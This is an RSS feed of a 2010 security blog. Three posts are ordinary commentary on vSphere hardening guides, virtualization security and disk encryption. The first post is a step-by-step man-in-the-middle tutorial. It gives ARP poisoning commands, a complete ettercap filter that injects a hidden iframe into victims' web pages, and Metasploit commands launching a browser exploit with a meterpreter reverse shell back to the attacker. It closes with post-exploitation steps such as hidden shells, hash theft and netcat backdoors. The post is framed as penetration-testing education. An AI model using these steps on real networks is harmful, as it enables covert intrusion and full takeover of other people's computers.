<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>CTO, Prolific Solutions, LLC</title>
	<atom:link href="http://npopovich.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://npopovich.wordpress.com</link>
	<description>Focus on Technolgoy, Passion For Security</description>
	<lastBuildDate>Fri, 09 Jul 2010 00:36:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='npopovich.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>CTO, Prolific Solutions, LLC</title>
		<link>http://npopovich.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://npopovich.wordpress.com/osd.xml" title="CTO, Prolific Solutions, LLC" />
	<atom:link rel='hub' href='http://npopovich.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Tutorial: MITM Browser Injection Attack With Backtrack and Ettercap</title>
		<link>http://npopovich.wordpress.com/2010/07/08/tutorial-mitm-browser-injection-attack-with-backtrack-and-ettercap/</link>
		<comments>http://npopovich.wordpress.com/2010/07/08/tutorial-mitm-browser-injection-attack-with-backtrack-and-ettercap/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 00:36:02 +0000</pubDate>
		<dc:creator>npopovich</dc:creator>
				<category><![CDATA[Backtrack]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[backtrack]]></category>

		<guid isPermaLink="false">http://npopovich.wordpress.com/?p=19</guid>
		<description><![CDATA[The purpose of this post to provide an example of how to use the freely available Linux distribution Backtrack when conducting security testing; and to provide a specific example of an attack scenario with detailed instructions on the commands used and their meaning. This is by no means an all encompassing tutorial for using Backtrack [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=npopovich.wordpress.com&amp;blog=7838205&amp;post=19&amp;subd=npopovich&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="text-decoration:underline;"> </span></p>
<p>The purpose of this post to provide an example of how to use the freely available Linux distribution Backtrack when conducting security testing; and to provide a specific example of an attack scenario with detailed instructions on the commands used and their meaning.</p>
<p>This is by no means an all encompassing tutorial for using Backtrack during security\penetration testing.  If you do not have a basic understanding of what Backtrack is or how it isued I suggest you read some info about it here: <a href="http://www.backtrack-linux.org/about/">http://www.backtrack-linux.org/about/</a> .   This post is mainly to provide the readers with an overview of a common attack vector, using what I consider to be the “swiss army knife” of IT security tools.</p>
<p>The instructions contained below are provided for informational\educational purposes only and should only be used on networks that you control, or have permission to utilize.</p>
<p>Most of the techniques described here have been documented separately or similarly on other websites\blog posts.  I will post a list of references at the end for further review, and to give credit where credit is due.</p>
<p>Let’s look at an overview of the attack scenario:</p>
<p>Conditions: Access to the network has already been gained by either wireless cracking, or some other access to a wired network.  The target’s IP and operating has already been discovered, as well as the gateway IP address.  Our computer, the target as well as the gateway are all on the same subnet.  The target is a patched Windows XP machine running SP3 and IE8.  We will use Backtrack 4 final release, and the Metasploit framework version 3.</p>
<p>The attack will begin with a basic MITM (man-in-the-middle) ARP poisoning attack against a single target on a network.</p>
<p>The network traffic, specifically the Web pages browsed by the target will be intercepted by our computer, and an iframe will be injected into all of the web pages viewed.  This iframe will point back to our computer which will be hosting a web page with a malicious payload (via the Metasploit framework).</p>
<p>When the user browses to most web pages our iframe will execute the malicious content hosted on our computer in their browser.  The end result will be admin\root access to the targets computer, via a meterpreter session.</p>
<p><strong>Section 1: Prepare Backtrack</strong></p>
<p>If you are already familiar with Backtrack you can skip this section.  This is simply the steps required for preparing Backtrack after initial live boot.</p>
<p>Open a terminal session and type <em>/usr/bin/start-network</em> This command enables the networking on Backtrack</p>
<p>Now we need to update Metasploit.  In a terminal type <em>cd /pentest/exploit/framework3</em></p>
<p><em> </em></p>
<p>This brings us to the Metasploit directory.  Type in <em>svn update</em>.  At the prompt type <em>y</em>.</p>
<p>This will update the Metasploit framework with the latest modules.</p>
<p>Now we need to enable IP forwarding using iptables</p>
<p>Enter <em>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</em> into a terminal window</p>
<p>Lastly we’ll ensure ip forwarding is enabled in ettercap</p>
<p>We need to edit the etter.conf file.  However you choose to do that is up to you, I use VI.  A VI tutorial is beyond the scope of this post.  I suggest you check out the security researchers’ best friend: Google if you need help with VI.  Type Kate from a terminal for a GUI text editor or choose it from the Utilities menu.</p>
<p>The file can usually be found here: /etc/etter.conf if you’re using Backtrack4 Final Release.</p>
<p>We need to make 3 changes in etter.conf:</p>
<p>ec-uid = 0</p>
<p>ec_guid = 0</p>
<p>uncomment the <em>redir_command_on</em> and <em>redir_command_off</em> sections below the “<em>if you use iptables</em>” section of etter.conf</p>
<p><strong>Section 2: Prepare Ettercap filter</strong></p>
<p>Ettercap is a network sniffer that can not only log packet data but can use filters to inject or replace data within the packets.  When used in a MITM attack ettercap filters can drop packets, or inject code into packets that will be forwarded to the target machine.</p>
<p>Enter this data into a text file using your favorite text editor and save it as iframe.txt:</p>
<p>if (ip.proto == TCP &amp;&amp; tcp.dst == 80) {</p>
<p>if (search(DATA.data, &#8220;Accept-Encoding&#8221;)) {</p>
<p>replace(&#8220;Accept-Encoding&#8221;, &#8220;Accept-Rubbish!&#8221;);</p>
<p># note: replacement string is same length as original string</p>
<p>msg(&#8220;zapped Accept-Encoding!\n&#8221;);</p>
<p>}</p>
<p>}</p>
<p>if (ip.proto == TCP &amp;&amp; tcp.src == 80) {</p>
<p>replace(&#8220;&lt;/title&gt;&#8221;, &#8220;&lt;/title&gt;&lt;iframe src=&#8221;http://youripaddress&#8221; width=0 height=0&gt;&lt;/iframe&gt;&#8221;);</p>
<p>msg(&#8220;iframe Filter Ran.\n&#8221;);</p>
<p>}</p>
<p>The above filter will put our iframe right before the closing body tag in most web sites.</p>
<p>Now from aterminal and in the same directory where you saved iframe.txt enter <em>ettefilter iframe.txt –o iframe.ef</em>.</p>
<p>This command compiles the iframe.txt file into the actual etterrcap filter, or “ef” file.</p>
<p>A success message would look like this: <em>Script encoded into 15 instructions</em>.</p>
<p><strong><span style="text-decoration:underline;"> </span></strong></p>
<p><strong>Section 3: Launch Metasploit</strong></p>
<p>From the <em>/pentest/exploit/framework3</em>directory <em> </em>launch the Metasploit console with this command <em>msfconsole</em></p>
<p>You can choose your favorite browser exploit, I’m going to use: windows/browser/ms10_xxx_helpctr_xss_cmd_exec</p>
<p>Metasploit commands:</p>
<p><em>Use windows/browser/ms10_xxx_helpctr_xss_cmd_exec</em></p>
<p><em>Set PAYLOAD windows/meterpreter/reverse_tcp</em></p>
<p><em>Set LHOST youripaddress</em></p>
<p><em>Set SRVHOST youripaddress</em></p>
<p><em>Set SRVPORT 80</em></p>
<p><em>Exploit</em></p>
<p><strong>Section 4: Launch Ettercap for MITM attack</strong></p>
<p><strong> </strong></p>
<p>Now that all of the different prereqs for the attack have been prepared we can launch ettercap</p>
<p>Enter the following command into a terminal window (replace underlined items with the correct name in your environment): <em>ettercap –i <span style="text-decoration:underline;">wlan</span> –F iframe.ef –TQM arp:remote /<span style="text-decoration:underline;">targetip</span>/ /<span style="text-decoration:underline;">gatewayip</span>/ -P autoadd</em></p>
<p><em> </em></p>
<p>The –i witch specifies interface, you only need it if you have multiple interfaces.  If you have only one you can omit. –F is specifying the filter to use.  T= text mode, Q=quiet M=MITM attack.</p>
<p>You may see only one of the addresses is added to an ettercap group.  This is not uncommon with wireless clients.  Both the gateway and target need to show up in one of the groups.  You can either wait until your target sends an arp request or you can force it to by pinging a non existent IP on your subnet from the target.  The choice is yours.</p>
<p>Once ettercap is running open up IE on your target and browse somewhere, I used test.com.  You should see the “iframe filter run” message on your Backtrack box.</p>
<p>You should also see the exploit initiate on the Metasploit terminal.  On your victim box a message will pop up.  If oyu click allow the exploit will run.</p>
<p>You should then see a meterpreter session initiated on your Backtrack computer.</p>
<p>You can hit CTRL+C then type <em>sessions –i 1</em> (that’s a number 1) to interact with the meterpreter session.</p>
<p>You’ve compromised the box!  You can now do things like drop to a command shell on the target by entering <em>shell</em> into meterpreter.  Or, if you want to be surreptitious you could enter <em>execute –F cmd.exe –i –H –c</em>.  there are many things you can do with a successful meterpreter session setup.  You can upload\download files, grab password hashes, send over a secure back door program like netcat, edit the registry… really whatever you want to do.</p>
<p>I hope you’ve found this post helpful, and will use it as a catalyst for more research to the kinds of things you can do with Backtrack and metasploit.</p>
<p><strong>References</strong></p>
<p><strong> </strong></p>
<p><a href="http://www.irongeek.com/i.php?page=security/ettercapfilter">http://www.irongeek.com/i.php?page=security/ettercapfilter</a></p>
<p><a href="http://www.backtrack-linux.org/">http://www.backtrack-linux.org/</a></p>
<p><a href="http://hi.baidu.com/artcracker/blog/item/86209ed411e1cac850da4b15.html">http://hi.baidu.com/artcracker/blog/item/86209ed411e1cac850da4b15.html</a></p>
<p><a href="http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5078.msg25656/topicseen,1/">http://www.ethicalhacker.net/component/option,com_smf/Itemid,54/topic,5078.msg25656/topicseen,1/</a></p>
<p><a href="http://www.irongeek.com/i.php?page=videos/deploying-metasploits-meterpreter-with-mitm-and-an-ettercap-filter">http://www.irongeek.com/i.php?page=videos/deploying-metasploits-meterpreter-with-mitm-and-an-ettercap-filter</a></p>
<p><a href="http://forum.intern0t.net/offensive-guides-information/603-arp-poisoning-mitm-attack.html">http://forum.intern0t.net/offensive-guides-information/603-arp-poisoning-mitm-attack.html</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/npopovich.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/npopovich.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/npopovich.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/npopovich.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/npopovich.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/npopovich.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/npopovich.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/npopovich.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/npopovich.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/npopovich.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/npopovich.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/npopovich.wordpress.com/19/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/npopovich.wordpress.com/19/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/npopovich.wordpress.com/19/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=npopovich.wordpress.com&amp;blog=7838205&amp;post=19&amp;subd=npopovich&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://npopovich.wordpress.com/2010/07/08/tutorial-mitm-browser-injection-attack-with-backtrack-and-ettercap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1d49d78185100aa08645ba29271e7c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">npopovich</media:title>
		</media:content>
	</item>
		<item>
		<title>VMware Releases New vSphere Hardening Guides.  DISA STIG Precurser?</title>
		<link>http://npopovich.wordpress.com/2010/01/28/vmware-releases-new-vsphere-hardening-guides-disa-stig-precurser/</link>
		<comments>http://npopovich.wordpress.com/2010/01/28/vmware-releases-new-vsphere-hardening-guides-disa-stig-precurser/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 20:21:10 +0000</pubDate>
		<dc:creator>npopovich</dc:creator>
				<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[DISA]]></category>
		<category><![CDATA[DoD]]></category>
		<category><![CDATA[Information Assurance]]></category>
		<category><![CDATA[STIG]]></category>
		<category><![CDATA[VM]]></category>
		<category><![CDATA[VMWare]]></category>
		<category><![CDATA[vSphere]]></category>

		<guid isPermaLink="false">http://npopovich.wordpress.com/?p=16</guid>
		<description><![CDATA[VMware announced January 25th that they have publicly released security hardening guides for  the vSphere virtualization platform.  The hardening guides are broken down via the following categories: introduction, virtual machines (vm&#8217;s),  host, vNetwork, vCenter, and Console OS.    I&#8217;ve read through them and they are broken down well, with brief descriptions of the security topic or [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=npopovich.wordpress.com&amp;blog=7838205&amp;post=16&amp;subd=npopovich&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>VMware <a href="http://blogs.vmware.com/security/2010/01/announcing-vsphere-40-hardening-guide-public-draft-release.html">announced</a> January 25th that they have publicly released security hardening guides for  the vSphere virtualization platform.  The hardening guides are broken down via the following categories: introduction, virtual machines (vm&#8217;s),  host, vNetwork, vCenter, and Console OS.    I&#8217;ve read through them and they are broken down well, with brief descriptions of the security topic or setting that is being discussed, along with recommendations with detailed instructions, or links to guides with more in depth instructions.</p>
<p>I cannot confirm this via the Defense information Systems Agency (DISA), however I feel that these guides will play heavily into the development of a new DISA  ESX Security Technical Implementation Guide (STIG).  This is welcome news for those who work in the DoD\Military workspace. Organizations that have implemented or are implementing vSphere\ESX\ESXi 4.0 have been relying on the old STIG, which was written with VI3 and ESX 3.5 in mind, and best practices to secure their implementations.  The subject areas these guides are broken into also mirrors the current DISA STIG checklist format, which leads me to believe that STIG checklists for vSphere won&#8217;t be far behind.</p>
<p>Click <a href="http://communities.vmware.com/community/vmtn/general/security?view=documents">here</a> for the guides themselves.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/npopovich.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/npopovich.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/npopovich.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/npopovich.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/npopovich.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/npopovich.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/npopovich.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/npopovich.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/npopovich.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/npopovich.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/npopovich.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/npopovich.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/npopovich.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/npopovich.wordpress.com/16/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=npopovich.wordpress.com&amp;blog=7838205&amp;post=16&amp;subd=npopovich&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://npopovich.wordpress.com/2010/01/28/vmware-releases-new-vsphere-hardening-guides-disa-stig-precurser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1d49d78185100aa08645ba29271e7c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">npopovich</media:title>
		</media:content>
	</item>
		<item>
		<title>Virtualization: Pros, Cons and Security.  A few things to consider</title>
		<link>http://npopovich.wordpress.com/2009/06/14/virtualization-pros-cons-and-security-a-few-things-to-consider/</link>
		<comments>http://npopovich.wordpress.com/2009/06/14/virtualization-pros-cons-and-security-a-few-things-to-consider/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 03:15:56 +0000</pubDate>
		<dc:creator>npopovich</dc:creator>
				<category><![CDATA[It Infrastructure Security]]></category>
		<category><![CDATA[ESX]]></category>
		<category><![CDATA[Information Assurance]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[VM]]></category>
		<category><![CDATA[VMWare]]></category>

		<guid isPermaLink="false">http://npopovich.wordpress.com/?p=10</guid>
		<description><![CDATA[My virtualization experience is limited to using VMware’s suite of products, ESX 3.0 and 3i to be specific.  I also have up to 10 virtual machines (VMs) running at my home office using VMWare Workstation 6.5, everything from honey pot boxes, to domain controllers, and of course my “victim” machine(s).  I’ve been using VM’s for [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=npopovich.wordpress.com&amp;blog=7838205&amp;post=10&amp;subd=npopovich&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>My virtualization experience is limited to using VMware’s suite of products, ESX 3.0 and 3i to be specific.  I also have up to 10 virtual machines (VMs) running at my home office using VMWare Workstation 6.5, everything from honey pot boxes, to domain controllers, and of course my “victim” machine(s).  I’ve been using VM’s for about five years now, some personally and some professionally.  Before being introduced to ESX and using VMware in an enterprise\datacenter environment  I was intrigued by the idea of having multiple operating systems (OS’) on a single machine without having to set the computer up as a dual boot machine, which is, let’s face it: a pain.</p>
<p>I became a “quasi” ESX administrator and was introduced into a whole new ball game.  A say quasi because it wasn’t my primary job function but everyone on the team became a surrogate ESX admin.  We setup a dual ESX environment (two Dell PowerEdge M-Series Blade Systems with 16 blades each) with the data (in the form of the virtual disk files: vmdk’s) residing on a storage area network (SAN).   We usually run 700-800 virtual servers, from Windows to Red Hat, with an additional 200 running on network attached storage (NAS) devices.  With the proper configuration of NIC teaming and ESX’s load balancing\failover settings I discovered an immensely fault tolerant environment that was <em>nearly</em> devoid of one of the biggest issues enterprise admins face:  hardware problems.  Another treat was the server provisioning process.  It took nearly a month from start to finish to get a hard standing server; ordering the server, provisioning rack space, getting the server, installing software\hardware, testing\hardening and finally delivery to the internal customer.  With the VM environment the requester simply placed an internal order for the server and we spun it up from a template .iso.   15 minutes, you’re server’s ready for custom applications and your use.   Finally, our disaster recovery was pretty straightforward: move all of the VM’s to a waiting offsite ESX server.  Flip the switch, and you’re done.   Not only did we save money on hardware cost but on energy.  When you don’t have to cool and power a bunch of hardware you don’t spend as much every month on the electric bill.</p>
<p>There were a lot of pros working with the virtual environment.  Centralized administration and fault tolerance, to name a few.  But, on the other hand there were some cons as well.  If anything goes wrong with your VM environment you lose your servers (800 servers in our case).   We had several places that things could go wrong: the ESX’s themselves and the SAN\NAS.  When the ESX was broken (human configuration error) we lost a ton of servers.</p>
<p>On the admin side of the house you’re focused so much on the technology and getting stuff to work properly that you sometimes forget about that pesky little piece of IT that seems to ruin all of your fun: Security.  It’s not uncommon for admins to “forget” security.  Heck, the Internet was designed with it as an afterthought (if you don’t believe me just look at DNS, or TCP\IP).  I, unfortunately, no longer have the leisure of looking at technology with strictly “admin eyes”.  I now must consider the ramifications it has with regards to security; both of the system and the infrastructure.</p>
<p>The first big issue with security is host\guest segregation.  Put simply: stuff that happens on the VM doesn’t affect the server that is running VMware Workstation or ESX.  That was always a big selling point for VMWare, memory and process segregation.  However, leave it to the vulnerability researchers to rain on folks’ parades.  A bug in VMware, discovered by Kostya Kortchinsky, allows code to be executed from a guest OS to run on the host.  <a href="http://www.macworld.com/article/140025/2009/04/fusionbug.html">Check it out.</a> Scary, to say the least.  So, now you need to worry about bugs\flaws in your guests harming your host, and if that host is an ESX that houses 500 VM servers… you do the math.  On a similar note some of the newer VM packages include the ability to cut paste between VM’s and allow actual host disk access from a guest.  Not smart, in my opinion.  I’d flip those switches to “off”.</p>
<p>The next area of concern that should be paid close attention to is virtual networking.  The virtual network layer operates similarly to physical network, using vNics and vSwitches and… hmm… v-VLAN’s.  It is possible to bind specific virtual NICs and virtual switches to physical NICs on a host that lead to separate LAN’s (a DMZ and an internal network, for example).  If it’s configured properly you can have complete network segregation within a single ESX.  However, with a few simple mistakes you can create a bridge between the two networks.  Simply enable IP forwarding on a guest and make one or two configs on the vSwitches and you’ve just bridged the networks.  Which leads me to my next point:</p>
<p>Separation of duties.  What happens when you have ESX admins who also have Root on guests?  You have a problem.  They are the gatekeepers and now have a lot of power.  As a best practice the ESX hosts and guests should be admin’d by separate departments\teams, and neither should have excessive rights to the other’s systems.</p>
<p>All in all I’d say that I am a fan of virtualized environments, IF they’re setup properly.  Some feel that virtual environments have too many places that could be points of failure for multiple servers, but that’s when careful thought, planning and analysis come into play.  If it’s done right, a virtualized data center is a fluid machine.  Literally!  It’s only one machine…</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/npopovich.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/npopovich.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/npopovich.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/npopovich.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/npopovich.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/npopovich.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/npopovich.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/npopovich.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/npopovich.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/npopovich.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/npopovich.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/npopovich.wordpress.com/10/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/npopovich.wordpress.com/10/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/npopovich.wordpress.com/10/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=npopovich.wordpress.com&amp;blog=7838205&amp;post=10&amp;subd=npopovich&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://npopovich.wordpress.com/2009/06/14/virtualization-pros-cons-and-security-a-few-things-to-consider/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1d49d78185100aa08645ba29271e7c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">npopovich</media:title>
		</media:content>
	</item>
		<item>
		<title>Data-At-Rest Encryption</title>
		<link>http://npopovich.wordpress.com/2009/05/25/data-at-rest-encryption/</link>
		<comments>http://npopovich.wordpress.com/2009/05/25/data-at-rest-encryption/#comments</comments>
		<pubDate>Mon, 25 May 2009 22:15:50 +0000</pubDate>
		<dc:creator>npopovich</dc:creator>
				<category><![CDATA[Data-at-Rest]]></category>
		<category><![CDATA[It Infrastructure Security]]></category>
		<category><![CDATA[Business Process Engineering]]></category>
		<category><![CDATA[FDE]]></category>
		<category><![CDATA[FES]]></category>
		<category><![CDATA[Information Assurance]]></category>

		<guid isPermaLink="false">http://npopovich.wordpress.com/?p=3</guid>
		<description><![CDATA[To encrypt or not to encrypt?  That is the question.  The answer is universally YES!  However, there are two schools of thought when it comes to protecting data at rest (possibly more, but I only care about two).  First of all, let’s define what data at rest (DAR) is so you don’t have to open [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=npopovich.wordpress.com&amp;blog=7838205&amp;post=3&amp;subd=npopovich&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>To encrypt or not to encrypt?  That is the question.  The answer is universally YES!  However, there are two schools of thought when it comes to protecting data at rest (possibly more, but I only care about two).  First of all, let’s define what data at rest (DAR) is so you don’t have to open a new tab\browser window and hit Google.  I’m sure if this post has come up on a search or has otherwise caught your eye you know what DAR is, but I’ll lay it out for you here nonetheless:   Any data that is not traveling over a network, or is sitting in volatile memory is DAR.  It’s sitting somewhere in storage, hoping to be useful someday.  This could be any data, from old emails to operating system files to cached logon credentials.  Whether or not you feel like you are a target for malicious computer users, you should want to protect your data.  More so if you’re an organization that deals with proprietary data or government information.</p>
<p>Now, back to the two schools of thought:  on the one hand you have File Encryption (FES), on the other Full Disk Encryption (FDE).  Both technologies have their pros and cons, and both have their vehement supporters and nay sayers.  I’d be interested to know what your thoughts are on the matter.  I myself have an opinion, and it is just that—an opinion.  I won’t say that it fits every scenario, but for security centric folks I’d say that FDE provides the most robust security for mobile devices and fixed workstations alike.  That view is not shocking; most experts will agree that FDE’s preboot authentication, which negates the extremely lax and easily bypassed security of BIOS and operating system (OS) passwords, is a highly secure method of protection.  Let’s not forget that FDE prevents the hard disk or the OS from being accessed via a live Linux distribution, such as <span style="color:#0000ff;"><span style="text-decoration:underline;"><a href="http://www.remote-exploit.org/backtrack.html">BackTrack</a></span></span>. Once a malicious user has physical access to a device, compromising it can take seconds with a live boot Linux OS like BackTrack; however, if the device is protected by FDE then the OS and the data is unreachable.</p>
<p>Some pundits argue that FDE is cumbersome to the end user and has a low level of acceptance when it is deployed.  Speaking of deployment, others say it is very difficult to deploy FDE software in an enterprise environment.  I can speak to both of those issues:  First, depending on the skill level of the IT staff, it is not difficult to integrate FDE software en masse using directory services or other management platforms.  As far as end user acceptance, the grim picture that has been painted by some is that of a painstaking logon process followed by a horrendously long boot cycle.  This in fact is false.  Most FDE software integrates with the native OS’s logon daemons or services such that it is nearly identical to the logon process the user is familiar with.</p>
<p>File Encryption has its place. FES is most suitable for non-mobile devices, protecting critical data or OS files. Even then, it takes a lot more configuration and monitoring to ensure that you cover all of your bases. And, sometimes companies leave it in the end user’s hands to decide what’s encrypted and what’s not. When it comes to security my rule is to NEVER leave it to the end user. Also, if you give someone an inch, they’ll take a mile. FES leaves the door open for attackers to be able to access the OS and unencrypted portion of the file system. Maybe they’ll drop a few links in a non-critical area, or perhaps they’ll slip a few custom dll’s into a non-encrypted area of the file system, just waiting to be called by a cron job. If you’re going to invest in DAR, why would you give malicious users a foothold?</p>
<p>FDE has come a long way and has had its ups and downs, but for the most part I feel it is the most secure solution for a mobile workforce (heck, if it works on laptops why not workstations?). All of the stars need to align properly for a successful FDE implementation: first, you need upper echelon support; second, you need a skilled technical staff to implement it, and third, you need to communicate its benefits to managers and users alike.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/npopovich.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/npopovich.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/npopovich.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/npopovich.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/npopovich.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/npopovich.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/npopovich.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/npopovich.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/npopovich.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/npopovich.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/npopovich.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/npopovich.wordpress.com/3/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/npopovich.wordpress.com/3/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/npopovich.wordpress.com/3/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=npopovich.wordpress.com&amp;blog=7838205&amp;post=3&amp;subd=npopovich&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://npopovich.wordpress.com/2009/05/25/data-at-rest-encryption/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1d49d78185100aa08645ba29271e7c5?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">npopovich</media:title>
		</media:content>
	</item>
	</channel>
</rss>
